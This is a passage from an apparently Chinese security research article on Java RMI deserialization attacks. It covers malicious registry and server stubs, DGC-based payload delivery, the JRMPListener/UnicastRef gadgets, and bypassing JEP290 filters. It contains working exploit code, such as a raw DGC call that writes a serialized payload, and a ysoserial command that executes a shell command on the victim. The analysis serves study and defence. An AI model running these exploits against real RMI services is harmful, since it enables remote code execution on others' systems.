// 修改enableReplace
Field fi = o.getClass().getSuperclass().getSuperclass().getDeclaredField("enableReplace");
fi.setAccessible(true);
fi.set(o, false);
o.writeObject(name);
o.writeObject(remote);
ref.invoke(remoteCall);
ref.done(remoteCall);
}
  1. Target#getStub返回恶意的RemoteObject

前两个方法由于没有继承UnicastRemoteObject导致没有exportObject会破坏对象暴露的逻辑,而第3钟方法并不会。这里要说的第4种方法也不会,这种方法的恶意对象无需继承UnicastRemoteObject,但是需要修改暴露逻辑。我们可以在创建Target的时候做点手脚。不按照正常的exportObject流程来创建

  • 正常的创建
1
new Target(Remote, UnicastServerRef, Stub, this.ref.getObjID(), var3);
  • 恶意的创建
1
new Target(Remote, UnicastServerRef, 恶意RemoteObject, this.ref.getObjID(), var3);

即将stub改为恶意RemoteObject即可,这样getStub就能顺利取出来了。代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class EvilServer4 {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(9999);
registry = LocateRegistry.getRegistry(9999);
EvilRemoteObject2 evilRemoteObject2 = new EvilRemoteObject2();
evilRemoteObject2.setObject(Util.getEvil());
registry.bind("service", evilRemoteObject2);
exportObject(evilRemoteObject2, 56261);
}

private static void exportObject(Remote object, int port) throws Exception {
UnicastServerRef unicastServerRef = new UnicastServerRef(port);
Target target = new Target(object, unicastServerRef, object, unicastServerRef.getLiveRef().getObjID(), false);
unicastServerRef.getLiveRef().exportObject(target);
}
}

攻击Client端

攻击Client端,如果LocateRegistry.getRegistry方法的地址可控。那么意味着可以连接到恶意的Registry端,也就能获取到恶意的Stub或者和恶意的服务端交互。Client端的交互行为包括:

  • 从 Registry 端获取调用服务的 stub 并反序列化
  • 调用服务后获取结果并反序列化

恶意Server Stub

Registry端在注册中心注册了恶意的Stub。当Client端调用lookup进行服务发现时,会拿到Server端在Registry端注册的恶意代理对象并进行反序列化。但这里会遇到几个问题:

  1. 和攻击Registry端时的Server端一样,replaceObject问题也会出现在Registry端向Client端writeObject中
  2. 远程对象创建并暴露的问题。问题1在攻击Registry端很好解决,直接不考虑对象暴露,自定义合法的恶意RemoteObject即可。而这里必须要export恶意对象,否则Client端就lookup不到了,但正常的UnicastRemoteObject#exportObject不行。

根据前面攻击Registry端绕过恶意对象替换的4种思路,也提到了只有3、4能够满足条件:绕过replaceObject + 暴露对象。但实际上4方法比较方便。因为3方法的局限性在于,我们修改ConnectionOutputStream,是绑定在每次通信当中的,上面的通信过程是Server端 -> Registry端,在Server端劫持bind方法自定义逻辑即可。而这次的通信过程是Registry端 -> Client端,需要自定义的是RegistryImpl_Skel#dispatch(因为writeObject在此触发),因此不是很方便。用4方法的话就比较方便。

恶意Server端返回值

思路同攻击 Server 端的恶意服务参数,只不过关注点从Server端方法的参数变成了Client端方法的返回值

动态类加载

思路同攻击 Server 端的动态类加载。注意角色调换和配置项设置。

攻击DGC

DGC介绍

DGC(Distributed Garbage Collection):分布式垃圾回收,当 Server 端返回一个对象到 Client 端(远程方法的调用方)时,其跟踪远程对象在 Client 端中的使用。当再没有更多的对 Client 远程对象的引用时,或者如果引用的“租借”过期并且没有更新,服务器将垃圾回收远程对象。启动一个 RMI 服务,就会伴随着 DGC 服务端的启动。

RMI 定义了一个 java.rmi.dgc.DGC 接口,提供了两个方法 dirtyclean

  • 客户端想要使用服务端上的远程引用,使用 dirty 方法来注册一个。同时这还跟租房子一样,过段时间继续用的话还要再调用一次来续租。
  • 客户端不使用的时候,需要调用 clean 方法来清楚这个远程引用。

这个接口有两个实现类,分别是 sun.rmi.transport.DGCImpl 以及 sun.rmi.transport.DGCImpl_Stub,同时还定义了 sun.rmi.transport.DGCImpl_Skel

很像 Registry、RegistryImpl、RegistryImpl_Stub、RegistryImpl_Skel,实际上不单是命名相近,处理逻辑也是类似的。通过在服务端和客户端之间传递引用,依旧是 Stub 与 Skel 之间的通信模式:Server 端启动 DGCImpl,在 Registry 端注册 DGCImpl_Stub ,Client 端获取到 DGCImpl_Stub,通过其与 Server 端通信,Server 端使用 RegistryImpl_Skel 来处理

实际初始化创建DGC的代码发生在Registry端创建createRegistry时,调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
static块
run:295, DGCImpl$2 (sun.rmi.transport)
run:281, DGCImpl$2 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
<clinit>:281, DGCImpl (sun.rmi.transport)
pin:75, WeakRef (sun.rmi.transport)
pinImpl:208, Target (sun.rmi.transport)
<init>:119, Target (sun.rmi.transport)
exportObject:211, UnicastServerRef (sun.rmi.server)
setup:152, RegistryImpl (sun.rmi.registry)
<init>:137, RegistryImpl (sun.rmi.registry)
createRegistry:203, LocateRegistry (java.rmi.registry)

具体原因是在导出RegistryImpl对象的时候,会传入permanenttrueexportObject方法中,该参数选项表示是否标记一个暴露(导出)的对象(Target)为持久化的(由DGC跟踪并处理),如果为true,则在new Target中会触发pinImpl 方法,从而在sun.rmi.transport.WeakRef#pin引用了DGCImpl.dgcLog,当一个类的静态成员被引用时,会触发static快。

image-20211130222339668

static块中创建了DGCImpl和封装Target并存入ObjectTable中,几乎和Registry端的RegistryImpl的创建流程一样。这里同样监听的是随机端口(LiveRef参数为0)

image-20211130222504335

DGC 通信的处理逻辑在服务端是 DGCImpl_Skel 的 dispatch 方法,依旧通过 Java 原生的序列化和反序列化来处理对象。而客户端使用的DGCImpl_Stub则负责处理dirty和clean。

image-20211130223117476

DGC客户端打DGC服务端

从上面的介绍中可以看出,DGC也是基于反序列化的,因此我们只需要构造一个DGC通信并在指定的位置写入序列化恶意类,经由DGC传输到DGC服务端,从而触发反序列化。

同时,由于 DGC 通信和 RMI 通信在 Transport 层是同样的处理逻辑,只不过根据 Client 端写入的标记ObjID(在初始化LiveRef的时候创建,DGC的ObjID是特定的new ObjID(2);)来区分是是由 RegistryImpl_Skel 还是 DGCImpl_Skel 来处理

所以我们可以扩大攻击面,使用 DGC 来攻击任意一个由 JRMP 协议监听的端口,即通过伪造传输伪造的ObjID为dgcID,从而进入DGCImpl_Skel的处理流程,然后触发反序列化。任何初始化LiveRef的操作都会暴露一个JRMP协议的端口,针对服务端(一般来讲这里的Server端和Registry端是一起的,因为利用需要DGCImpl_Skel,这个是在Registry端创建的),包括:Registry 端监听端口、RegistryImpl_Stub 监听端口(Server端)、DGCImpl_Stub 监听端口。

由于后两者的端口号是随机的,因此通常使用 DGC 层来攻击 Registry 端。这个攻击手段实际上就是 ysoserial 中的 ysoserial.exploit.JRMPClient 的实现原理

结合下面的注释分析一下payload。如果熟悉上面的流程的话会发现十分简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
// 在TCP(Transport)层获取连接
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);

// 取出数据流OutputStream,这里对着类似的writeObject方法来看
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);

// 写一些TCP传输的必要标志
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);

@SuppressWarnings ( "resource" )
// 下面才是真正的对应到代码层面,从TCPTransport#handleMessages方法开始
final ObjectOutputStream objOut = new MarshalOutputStream(dos);

// 写ObjID,2代表DGC,后面接着3个代表随机数,随便写
// 对应sun.rmi.transport.Transport#serviceCall方法中的
// var39 = ObjID.read(var1.getInputStream());
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);

// 选择DGCImpl的操作,dirty或clean都可以
// 对应sun.rmi.server.UnicastServerRef#dispatch方法中的
// int var3 = var39.readInt();
objOut.writeInt(1); // dirty

// 写DGC接口的hash,值就是-669196253586618813L
// 对应sun.rmi.server.UnicastServerRef#oldDispatch中的
// var4 = var18.readLong();
// 以及sun.rmi.transport.DGCImpl_Skel#dispatch中的判断
objOut.writeLong(-669196253586618813L);

objOut.writeObject(payloadObject);

os.flush();
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}

这里起一个服务端,然后拿ysoserial配合CC6的链子打一下看看。成功弹出计算器,这里把dirty换成clean也是可以的,即换成0

image-20211201101130295

有意思的是,这里我起的是前面说到的攻击Client端的恶意Server,这里却被恶意的JRMPClient给打了。所以对于RMI来说,相互对打是很常见的。因此打的时候也要注意防止反制,比如设置SecurityManager等等。

UnicastRemoteObject

java.rmi.server.UnicastRemoteObject 类通常是远程调用接口实现类的父类,该类可以作为一个反序列化的RMI原生Gadgets,其作用是可以开启JRMP监听端口(调用new LiveRef),配合DGC客户端打DGC服务端

看一下该类的readObject方法

image-20211201181914634

跟进reexport发现,直接执行的exportObject(后面就是创建LiveRef暴露的逻辑)并且暴露的端口号是可控的成员变量。因此我们可以实现暴露任意可控端口的JRMP服务

这一部分对应的实现就是yso中的ysoserial.payloads.JRMPListener

1
2
3
4
5
6
7
8
9
10
11
12
public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
// 初始化
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort) // 指定端口
});

Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}

但yso中使用的是UnicastRemoteObject的子类ActivationGroupImpl作为实例,其实也可以直接使用Unsafe自建一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Class<?> cls = Class.forName("java.rmi.server.UnicastRemoteObject");
UnicastRemoteObject remoteObject = (UnicastRemoteObject) unsafe.allocateInstance(cls);

// 写入父类 RemoteObject 的 ref 属性防止 writeObject 时报错
Field field1 = RemoteObject.class.getDeclaredField("ref");
field1.setAccessible(true);
field1.set(remoteObject, new UnicastServerRef(jrmpPort));
Reflections.getField(UnicastRemoteObject.class, "port").set(remoteObject, jrmpPort);
return remoteObject;
}

JEP290

在下面介绍的利用JRMP协议(主要是打Registry端) or 前面说的恶意服务参数打Server端/恶意返回值打Client端,都可以绕过JEP290。在了解绕过之前,先来看看JEP290的基础内容,并重点针对RMI利用JEP290机制缓解反序列化问题进行分析。主要参考:https://paper.seebug.org/1689/#_7

简单介绍:

JEP 290 在 JDK 9 中加入,并在低版本的6u141/7u131/8u121中添加

  • Provide a flexible mechanism to narrow the classes that can be deserialized from any class available to an application down to a context-appropriate set of classes:提供了一个灵活的机制,将可以反序列化的类从应用程序类缩小到适合上下文的类集(也就是说提供一个限制反序列化的类的机制,黑白名单方式)
  • Provide metrics to the filter for graph size and complexity during deserialization to validate normal graph behaviors.(限制反序列化深度和复杂度)
  • Provide a mechanism for RMI-exported objects to validate the classes expected in invocations:为 RMI 导出的对象设置了验证机制。( 比如对于 RegistryImpl , DGCImpl 类内置了默认的白名单过滤)
  • The filter mechanism must not require subclassing or modification to existing subclasses of ObjectInputStream.
  • Define a global filter that can be configured by properties or a configuration file.(提供一个全局过滤器,可以从属性或者配置文件中配置)

JEP290 基础

首先看看JEP290几个核心类: ObjectInputStream 类,ObjectInputFilter 接口,Config 静态类以及 Global 静态类。其中 Config 类是 ObjectInputFilter接口的内部类,Global 类又是Config类的内部类。

ObjectInputStream类

  • 构造方法

该类的两个构造方法都会主动设置serialFilter字段,是从下面的ObjectInputFilter$Config类中的serialFilter属性拿的。在拿的过程中,会初始化Config类,下面会说。

  • serialFilter属性

该属性是ObjectInputFilter 接口类型,是所有继承ObjectInputStream的子类中过滤器字段,该字段配合readObject过程的filterCheck方法来进行反序列化的限制

  • filterCheck方法

反序列化readObject方法,所有InputStream都会调用父类ObjectInputStream#filterCheck方法来进行检测,该方法中,当serialFilter属性非空时,会调用该函数式接口类型属性的checkInput方法,返回值为ObjectInputFilter.Status类型,如果是null或REJECTED,就抛异常

ObjectInputFilter接口

该接口是一个函数式接口,有一个 checkInput 函数,一个静态类 Config ,一个 FilterInfo 接口,一个 Status 枚举类。

该对于该接口类型的参数可以通过两种方式进行传递:

  • lambda表达式:
1
2
3
ObjectInputFilter filter = (ObjectInputFilter.FilterInfo var1) -> {
... // 具体逻辑,返回值要兼容:null或者Status
}
  • 函数引用:把相同方法签名和返回值类型(方法名可以不一致)作为函数引用

image-20211206153927629

image-20211206153938430

ObjectInputFilter$Config静态类

由于是一个静态类,所以在被引用的时候,会触发static块和所有static字段的初始化

  • configuredFilter属性

会拿到 jdk.serailFilter 属性值,如果不为空,会返回 createFilter(var0)的结果(createFilter 实际返回的是一个 Global 对象)。jdk.serailFilter 属性值获取的方法用两种,第一种是获取 JVM 的 jdk.serialFilter 属性,第二种通过在 %JAVA_HOME%\conf\security\java.security 文件中指定 jdk.serialFilter 来设置。优先选择第一种。

image-20211206154218165

  • createFilter方法

会进一步调用 Global.createFilter方法,将传入的 JEP 290 规则字符串解析到Global对象的 filters 字段上,并且返回这个 Global 对象。

  • static块

Config 类的静态块,会赋值 Config.configuredFilterConfig.serialFilter 上。

Config$Global静态类

该类实现了ObjectInputFilter接口,是一个可变的全局过滤器。结合前面Config类的createFilter。

  • filters字段

list类型,保存所有的ObjectInputFilter。

image-20211206155330907

  • createFilter方法和构造方法

构造方法解析相关配置的JEP290规则语法,以;分割将其作为一个个规则。

image-20211206155421155

image-20211206155432440

具体的规则如下,其实很简单,类似于SpringBoot中的路径匹配规则

image-20211206184805162

  • checkInput方法

该方法就是ObjectInputFilter函数式接口的标准实现,对于待检测的类,便利filters字段的规则进行检测。这个stream流进行map、filter和findFirst操作,取出不是UNDECIDED状态的Status,如果不为空,则返回该Status,如果为空,则返回UNDECIDED。

image-20211206185101320

过滤器

配置过滤器其实就是设置 ObjectInputStream 类中的 serialFilter 属性

  • 第一种是通过配置文件或者 JVM 属性来配置的全局过滤器,比如前面说的Global类、Weblogic中的
  • 第二种则是来通过改变 ObjectInputStreamserialFilter 属性来配置的局部过滤器,比如RMI的局部过滤器实现

全局过滤器

设置全局过滤器,其实就是设置Config静态类的 serialFilter 静态字段值。即在初始化ObjectInputStream时,都会为serialFilter属性调用ObjectInputFilter.Config.getSerialFilter()来赋值

前面也说到了,对于Config类serialFilter字段的初始化,在原生jdk中,是通过JVM或者%JAVA_HOME%\conf\security\java.securityjdk.serailFilter属性来设置了,默认是JVM的优先。

对于其他的组件,可能会设置自己的全局过滤器,反正最终都是作用在Config类的serialFilter字段上。

局部过滤器

设置局部过滤器,是针对不同的ObjectInputStream子类实例的serialFilter进行设置。也就说说,当filterCheck的时候,使用的serialFilter是子类的,而不是父类的(父类的就是Config#serialFilter)

局部过滤器的优先级高于全局过滤器的优先级,即在一次readObject方法中,调用filterCheck时使用的是局部过滤器(有的话会覆盖了全局过滤器)

提供了两个API来设置单个 ObjectInputStream 对象的 serialFilter 字段

  • ObjectInputStream#setInternalObjectInputFilter(ObjectInputFilter filter)

image-20211206190846488

  • Config#setObjectInputFilter(ObjectInputStream var0, ObjectInputFilter var1)

这个是委托了一个辅助类sun.misc.JavaOISAccesssetObjectInputFilter来设置,在ObjectInputStream中定义了一个匿名的JavaOISAccess实例

image-20211206190954240

RMI

有了前面的基础,在这里就可以来解释RMI利用JEP290机制来对抗反序列化的具体实现了。总结来说,JEP290在RMI的实现,主要针对Registry端和DGC服务端。

UnicastServerRef导出过程

在前面介绍的注册中心创建的过程中,对于我们的RegistryImpl,其会封装为一个Target,这个Target加上JEP290之后的表现如下:

  • ObjID是固定的ObjID.REGISTRY_ID,即0
  • disp字段为UnicastServerRef,filter为RegisryImpl::RegistryFilter,skel为RegsitryImpl_skel,是Registry端暴露的骨架Skeleton
  • stub字段为RegistryImpl_stub,是Registry端的Stub

同理,对于DGC服务端也是一样,把ObjID换为2,把Rgistry替换为DGC即可。这里就以Rgistry端为例。在注册中心创建的过程中,会初始化UnicastServerRef,JEP290后,默认使用的构造方法会传入RegisryImpl::registryFilter作为filter。这个filter在后续获取反序列化流ConnectionInputStream时,会设置到其serialFilter中。

Registry层面

TCPTransport#handleMessagesUnicastServerRef#oldDispatch,其中this.unmarshalCustomCallData(var6);会往ConnectionInputStream的serialFilter局部过滤器中设置UnicastServerRef#filter(RegisryImpl::RegistryFilter)。

image-20211206195430798

因此在后续反序列化的流程中,就会受到该RegisryImpl::registryFilter这个过滤器的限制

是一个基于白名单的限制,满足一下类型,才不会被REJECTED

image-20211206194545341

DGC层面

  • DGC服务端

同上,DGC服务端的局部过滤器为lambda表达式:

image-20211208095756002

1
2
3
final UnicastServerRef var4 = new UnicastServerRef(var3, (var0) -> {
return DGCImpl.checkInput(var0);
});

也是基于白名单。

image-20211206195021689

  • DGC客户端(DGCImpl_Stub)

在dirty方法中,由于要接受DGCImpl_Skel返回的Lease,所以在反序列化前设置了局部过滤器DGCImpl_Stub::leaseFilter

image-20211208100324628

那为什么不在RegistryImpl_Stub的相关方法中也和DGC一样设置类似的局部过滤器呢?

这主要和JEP290的目标有关,前面提到了JEP290主要是为了保护Registry层(服务端),而RegistryImpl_Stub是提供给其他端的,在Registry端并不会获取并执行操作,所以没啥威胁(如果有,可能是另一个0day)。但Registry端可能成为DGC的客户端,从后面绕过JEP290的分析中也可以看出来,比如Server端注册服务到Registry端,此时Server端就是DGC服务端,Registry端是DGC客户端(Server端需要监控注册的远程对象的情况),所以RegistryImpl_Skel中会调用到DGCImpl_Stub的方法,因此需要对DGCImpl_Stub保护。

通过JVM和配置文件配置

除了以上需要通过RegistryImpl/DGCImpl初始化来设置serialFilter的方法外,还可以使用类似前面的通过设置JVM和java.security属性的方式来设置过滤器。相关属性分别是

  • sun.rmi.registry.registryFilter
  • sun.rmi.transport.dgcFilter

具体在RegistryImpl#initRegistryFilterDGCImpl#initDgcFilter方法中,这里就说明前者即可,后者一样,本身registryFilter静态字段在初始化一开始是有值的。initRegistryFilter看着和前面jdk serialFilter的全局过滤器的设置很类似吧。

image-20211206195944711

image-20211206200039010

在对应的过滤器方法中,是以外部配置设置的优先

JEP290的局限性

首先这里不提具体的做法,只提一下大概的思路,具体的做法在下面的小节中。

对于RMI的JEP290,其局限性有:

  • 只对Registry端和DGC层做了校验,Server端和Client端的问题没有解决(所以后面的绕过JEP290是针对Registry和DGC的,Server端和Client端的问题还在)
  • 对JRMP层面通信的反序列化处理没有限制,即StreamRemoteCall的这个JRMP底层通信对象并没有所谓的过滤器字段(JRMP绕过),因此我们能够利用该类的executeCall方法,只不过需要向上回溯总结一下何处会调用executeCall方法。

bind的局限性

前面一直没提到,Registry端是会对Server端进行IP校验的(默认只信任本机地址)。通过RegistryImpl.checkAccess("Registry.bind");方法来校验

image-20211206134829288

这个RegistryImpl#checkAccess方法对bind的影响的版本分界线是8u141:

  • 8u141前:checkAccess方法放在RegistryImpl_Stub#bind/rebind方法中,在RegistryImpl_Skel的反序列化之后,因此没有影响
  • 8u141及之后:checkAccess方法放在RegistryImpl_Skel#dispatch的bind/rebind的反序列化操作之前,因此有影响

image-20211206135124606

因此在8u141及其后,对于Registry端的攻击利用就转移到了lookup方式的利用上,即Client端打Registry端。但是实际上,对于JEP290出来在8u121后已经起到了比较好的限制作用。但是后面的介绍中提到了JEP290的绕过,因此这里的IP限制还是有点用处的。

原生Gadgets + JRMP绕过JEP290

根据JEP290的防护机制,其默认只为RMI注册表(RMI Register层)和RMI分布式垃圾收集器(DGC层)提供了相应的内置过滤器。对于Client层、两端分离的Server层、更底层的JRMP协议层是没有做过滤器的。具体来看一下绕过原理(ps:需要熟知前面的流程)

首先我们将JRMP分为客户端和服务端,加上RMI的三端,这里有5个角色,注意区分。

JRMP服务端打JRMP客户端

这部分是ysoserial.exploit.JRMPListener的攻击逻辑。这一层是完全的JRMP层的反序列化,对于上层的DGC/RMI存在的JEP290的限制,能够绕过。

这种攻击方式也是基于RMI原生Gadgets的,先贴一下攻击过程和调用链:

  • 使用ysoserial.exploit.JRMPListener开启一个恶意的JRMP服务。
  • 使用一个受害的JRMPClient去连接JRMPListener,从而触发
1
2
3
4
5
6
public class JRMPClient {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry(1099);
registry.lookup("Xxx");
}
}

调用栈

1
2
3
4
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
lookup:-1, RegistryImpl_Stub (sun.rmi.registry)
main:13, Client (com.diggid.demo)

直接看一下StreamRemoteCall#executeCall方法

image-20211201204345541

可以看到出发点是在case 2的情况下,直接进行了反序列化。那这个反序列化的内容是什么呢?在服务端是何时发生序列化写入该内容的呢?

case 2的情况其实对应的是TCP传输的returnType为2,即TransportConstants.ExceptionalReturn。所以我们只需要全局找一下哪里写入了这个常量

image-20211201204648288

在服务端全局可以找到3处地方

  • sun.rmi.server.UnicastServerRef#dispatch
  • sun.rmi.server.UnicastServerRef#oldDispatch
  • sun.rmi.transport.StreamRemoteCall#getResultStream

根据服务端从handleMessages下来的调用链,在sun.rmi.transport.Transport#serviceCall处调用了getResultStream

image-20211201205339161

收缩起来的地方是我们之前说过的RegistryImpl_SkelDGCImpl_Skel的dispatch,这里我们重点看出现异常的地方,可以看到,调用getResultStream写入异常标志2,同时序列化异常var2返回给客户端。

因此在yso的ysoserial.exploit.JRMPListener中自实现了这个主动抛出异常并序列化异常序列号2和恶意类的流程,下面只是处理TCP流程的一部分,其他JRMP服务端的处理流程可以自行看看。

image-20211201205931414

这里说几个可以会有疑惑的点:

  1. 上面的流程虽然只演示了lookup的情况,但实际上bind/unbind/rebind/list都可以,这与非Registry端的操作无关,只需要能够让受害端主动与恶意JRMP服务端建立起JRMP连接即可,简言之就是出现了StreamRemoteCall#executeCall。所以在后面也会说到Registry端也可以是受害者,但和Client、Server端这些能够主动发起的利用方式不太一样。

Server端打Registry端 - 结合bind

我们需要找到一个能让Registry端主动发出JRMP请求调用的Gadgets。理想的攻击方式如下:

image-20211201211404548

  1. 要RMI注册端作为JRMP客户端去主动连接我们的JRMP服务端(白名单过滤器只对反序列化过程有效,对序列化过程无效)
  2. 我们恶意的JRMP服务端在原本是报错信息的位置写入利用链,序列化成数据包返回到JRMP客户端(RMI注册端)。
  3. 由于JRMP客户端的反序列化过程不存在JEP290的过滤器,所以我们的payload可以成功被执行,从而完成RCE。

步骤1是我们这里要说的,步骤2、3是前面说的。

UnicastRef

Server端得天独厚的优势就是bind操作,我们可以往Registry端bind一个在JEP290白名单之内的类,在Registry端bind的过程中可以指定端口去连接我们的JRMP服务端。UnicastRef#readExternal加上Registry_Skel的bind过程可以完成上述要求。具体看一下

直接回顾RegistryImpl_Skel#dispatch看一下bind操作

image-20211201212634498

这里我们已经很熟悉了。我们再仔细一点,把这个过程拆成两部分来看

  • var8 = (Remote)var11.readObject();:组装UnicastRef,即LiveRef创建连接体
  • var2.releaseInputStream();:处理UnicastRef,即发出DGC请求

这里先放一下调用栈

1
2
3
4
5
6
7
8
9
10
readExternal:493, UnicastRef (sun.rmi.server)
readExternalData:1849, ObjectInputStream (java.io)
readOrdinaryObject:1806, ObjectInputStream (java.io) [2]
readObject0:1353, ObjectInputStream (java.io)
defaultReadFields:2018, ObjectInputStream (java.io)
readSerialData:1942, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io) [1]
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)

可以看到上述流程先会跟到UnicastRef#readExternal中,我们正向来看一下

image-20211201214224231

可以看到这里有一个非常敏感的对象LiveRef,是创建连接体的关键

image-20211201215045004

可以看到,new LiveRef()创建了一个JRMP连接(只是创建,并没有实际发出连接),这里我们可以在序列化时指定TCPEndpoint来指定host和port

1
2
3
4
5
6
String host = "127.0.0.1";
int port = 8787;
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
EvilUnicastRef remote = new EvilUnicastRef(ref);

然后这里有一个关键的判断,如果var0是ConnectionInputStream的话,会进入到第一个分支,而第二个分支的操作后续也会调用到,是在releaseOutputStream中。但是假设我们这里的场景是一个原生的反序列化,反序列化的是UnicastRef,也会调用到这里,且因为var0是ObjectInputStream,那么就会进入第二个分支直接调用registerRefs。这是很关键的,因为我们后续触发JRMP连接是通过registerRefs往下调用到makeDirtyCall发出的。说了这么多,想解释的就是原生反序列化UnicastRef也能直接发出JRMP连接实现效果,而不需要这里的两个流程串起来(往后看就明白了)。而原生反序列化UnicastRef就是ysoserial.payloads.JRMPClient做的

然后调用saveRef(ref)将LiveRef填入到incomingRefTable字段中,这里是关键地方,要记一下(和后面的修复有关)

然后readobject执行完了,就跟进到第二个关键部分releaseOutputStream

image-20211201215454470

会调用sun.rmi.transport.ConnectionInputStream#registerRefs看统一处理ref

image-20211201215814558

继续跟进sun.rmi.transport.DGCClient#registerRefs

image-20211201215841683

可以看到这里一个DGC客户端调用的方法,且注意到这里是一个循环,意味着只要var2.registerRefs返回的false,那么就会一直循环该流程,不断的进入registerRefs方法中,其实这里是一个DGC客户端不断向DGC服务端汇报远程对象ref的存活状况,当ref不存在时,该方法的返回值就会是true了,然后就会跳出循环。这样就会造成一个有趣的现象:DGC客户端以一定的时间间隔向DGC服务端(恶意的JRMP服务端)发起请求,类似TCP连接的心跳包,又类似一个不死马,受攻击的DGC客户端(这里是Registry端)会以同频的时间间隔不断弹出计算器。

继续跟进一下后面的流程:

1
2
sun.rmi.transport.DGCClient$EndpointEntry#makeDirtyCall
sun.rmi.transport.DGCClient$EndpointEntry#registerRefs

makeDirtyCall方法中,DGC客户端会发出dirty请求来注册DGC要跟踪的引用对象

image-20211201220604970

实际是调用DGCImpl_Stub#dirty方法。这个方法在前面DGC介绍中没有细说,实际上,和RegistryImpl_Stub的几个操作方法的处理逻辑都很类似。那么这里就和JRMP客户端(Client端)的流程几乎一样了,最后会调用StreamRemoteCall和我们指定的JRMP服务端(DGC服务端)。其实上述过程就是DGC服务端注册跟踪一个新的引用对象UnicastRef的过程,自然在”客户端”创建好UnicastRef的过程中,DGC客户端会将创建好的Lease(待跟踪对象,封装了UnicastRef)序列化传输给服务端,且客户端会以一定的时间间隔向服务端发起DGC请求并传输Lease,这样服务端才能持续的跟踪远程对象的存活情况。总而言之,我们已经找到了一个能够主动连接JRMP服务端的可序列化Gadgets

image-20211201222418683

再重复一下攻击流程:

  • 攻击端先起一个ysoserial.exploit.JRMPListener
1
java -cp ysoserial.jar 8787 ysoserial.exploit.JRMPListener CommonsCollections6 "open -a Calculator.app"
  • 攻击端连接Registry端,并bind一个指向JRMPListener的UnicastRef(需要Registry外连)

解决bind端的参数限制

现在我们可以考虑在Server端使用bind来绑定我们恶意的UnicastRef对象了。直接这么写可以吗?

1
registry.bind("service", UnicastRef实例);

显然不行,和前面一样,只要涉及两端交互一端写出的情况下,变会调用写出端的replaceObject方法,所以这里也要解决一下参数限制。解决方法这里就不赘述了,思路和前面说的攻击Registry端一样。只需把”携带恶意的Object对象”换成”携带恶意的UnicastRef对象”即可。还是那四条思路,只不过对于第2种,不需要动态代理了,RemoteObjectInvocationHandlerRMIConnectionImpl_Stub都可以,但UnicastRemoteObject不行哦

真正解释为何能绕过JEP290

总结上面的两个利用方式

  • JRMP服务端打JRMP客户端:利用恶意的JRMP服务端返回恶意的异常类,客户端反序列化异常类导致问题。Sink点核心是StreamRemoteCall#executeCall
  • UnicastRef对象:该对象作为主动发出JRMP请求的一方(可以不粗糙的认为是JRMP可客户端),其UnicastRef#invoke方法能触发executeCall。我们通过bind/rebind/unbind/lookup的参数注入方式,向Registry端”注入”UnicastRef对象,在处理过程中向JRMP服务端发起请求,接受恶意对象并反序列化

最终利用成功的Sink点是StreamRemoteCall#executeCall,在该方法中获取的ConnectionInputStream,由于JEP290只能通过UnicastServerRef#filter设置serialFilter,因此这里的ConnectionInputStream#serialFilter为null,自然就没有过滤了。从更底层的JRMP通信来绕过。

Client端打Registry端 - 结合lookup

这部分就不班门弄斧复制粘贴了,直接参考@啦啦0咯咯师傅的即可,攻击的原理清楚了,剩下的就主要是攻击端参数类型限制的解决问题了。

https://xz.aliyun.com/t/7932#toc-4

简单来说,lookup的问题包括:绕过replaceObject + 代码层面String类型的限制。对于第一个问题,我们已经很有经验了,对于第二个String类型的限制,在@啦啦0咯咯师傅的文章里也介绍了几种方式

  • 直接修改最底层的lookup的返回数据包,在数据包中插入我们的payload
  • 在代码层面自定义Client端lookup的过程,这个比较简单,这里演示一下

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class EvilClientBypassJEP290 {

public static void main(String[] args) throws Exception{

Registry registry = LocateRegistry.getRegistry(9999);
Remote remote = Util.getEvilUnicastRef("127.0.0.1", 8787);
lookup(remote, (RegistryImpl_Stub) registry);
}

private static void lookup(Remote remote, RegistryImpl_Stub registry) throws Exception{
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
